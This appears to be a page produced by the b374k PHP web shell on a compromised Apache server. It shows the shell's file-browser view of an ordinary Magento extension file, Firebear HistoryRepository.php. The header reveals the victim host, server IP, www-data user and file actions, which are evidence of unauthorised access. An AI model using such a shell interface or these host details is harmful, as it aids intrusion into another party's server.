b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / a / home / dev2.destoffenstraat.com / app / Firebear / ImportExport / Model / Export /
Filename/home/a/home/dev2.destoffenstraat.com/app/Firebear/ImportExport/Model/Export/HistoryRepository.php
Size3.33 kb
Permissionrwxr-xr-x
Ownerroot : root
Create time21-Aug-2025 12:26
Last modified07-Nov-2022 06:44
Last accessed23-Aug-2025 04:58
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
/**
* @copyright: Copyright © 2017 Firebear Studio GmbH. All rights reserved.
* @author : Firebear Studio <fbeardev@gmail.com>
*/

namespace Firebear\ImportExport\Model\Export;

use Firebear\ImportExport\Api\Data\ExportHistoryInterface;
use Firebear\ImportExport\Api\Export\HistoryRepositoryInterface;
use Firebear\ImportExport\Model\ResourceModel\Export\History as ExportHistoryResource;
use Firebear\ImportExport\Model\ResourceModel\Export\History\CollectionFactory as ExportCollectionFactory;
use Magento\Framework\Exception\CouldNotDeleteException;
use Magento\Framework\Exception\CouldNotSaveException;
use Magento\Framework\Exception\NoSuchEntityException;

/**
* Class HistoryRepository
*
* @api
*/
class HistoryRepository implements HistoryRepositoryInterface
{

/**
* @var ExportHistoryResource
*/
protected $resource;

/**
* @var HistoryFactory
*/
protected $exportFactory;

/**
* @var ExportCollectionFactory
*/
protected $exportCollectionFactory;

/**
* JobRepository constructor
*
* @param ExportHistoryResource $resource
* @param HistoryFactory $exportFactory
* @param ExportCollectionFactory $exportCollectionFactory
*/
public function __construct(
ExportHistoryResource $resource,
HistoryFactory $exportFactory,
ExportCollectionFactory $exportCollectionFactory
) {
$this->resource = $resource;
$this->exportFactory = $exportFactory;
$this->exportCollectionFactory = $exportCollectionFactory;
}

/**
* Save history
*
* @param ExportHistoryInterface $history
* @return ExportHistoryInterface
* @throws CouldNotSaveException
*/
public function save(ExportHistoryInterface $history)
{
try {
$this->resource->save($history);
} catch (\Exception $exception) {
throw new CouldNotSaveException(__(
'Could not save the job: %1',
$exception->getMessage()
));
}

return $history;
}

/**
* Get history by id
*
* @param int $id
* @return ExportHistoryInterface
* @throws NoSuchEntityException
*/
public function getById($historyId)
{
$history = $this->exportFactory->create();
$this->resource->load($history, $historyId);

if (!$history->getId()) {
throw new NoSuchEntityException(__('Export History with id "%1" does not exist.', $historyId));
}

return $history;
}

/**
* Delete history
*
* @param ExportHistoryInterface $history
* @return bool true on success
* @throws CouldNotDeleteException
*/
public function delete(ExportHistoryInterface $history)
{
try {
$this->resource->delete($history);
} catch (\Exception $exception) {
throw new CouldNotDeleteException(__(
'Could not delete the job: %1',
$exception->getMessage()
));
}
return true;
}

/**
* Delete history by id
*
* @param int $historyId
* @return bool true on success
* @throws NoSuchEntityException
* @throws CouldNotDeleteException
*/
public function deleteById($historyId)
{
return $this->delete($this->getById($historyId));
}
}